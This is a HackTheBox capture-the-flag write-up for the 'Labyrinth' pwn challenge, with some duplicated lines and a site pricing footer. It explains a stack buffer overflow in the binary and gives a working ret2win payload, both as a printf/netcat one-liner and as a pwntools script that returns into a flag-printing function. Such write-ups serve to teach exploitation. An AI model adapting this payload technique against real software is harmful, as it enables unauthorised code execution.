$ cat writeup.md…
$ cat writeup.md…
HackTheBox
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
File: ELF 64-bit executable, not stripped
Security:
Key findings:
escape_plan at 0x401255 reads and prints flag.txtfgets(s, 0x44, stdin) - reads 68 bytess is at rbp-0x30 (48 bytes from rbp)Buffer overflow math:
ret gadget (0x401016) for 16-byte stack alignment (x86_64 ABI requirement)escape_plan function to print flag(echo '69'; sleep 1; printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10\x40\x00\x00\x00\x00\x00\x55\x12\x40\x00\x00\x00\x00\x00'; sleep 3) | nc TARGET_IP TARGET_PORT
#!/usr/bin/env python3 from pwn import * # Connection p = remote('TARGET_IP', TARGET_PORT) # p = process('./labyrinth') # for local testing # Select door 69 to reach vulnerable path p.sendlineafter(b'>> ', b'69') # Addresses (no PIE = fixed) ret_gadget = 0x401016 # ret instruction for stack alignment escape_plan = 0x401255 # win function that prints flag # Build payload offset = 56 # 48 bytes buffer + 8 bytes saved rbp payload = b'A' * offset payload += p64(ret_gadget) # align stack to 16 bytes payload += p64(escape_plan) # return to win function # Send payload p.sendlineafter(b'>> ', payload) # Get flag p.interactive()
call - use ret gadgetobjdump -d or radare2 quickly reveals win functions in non-stripped binaries$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar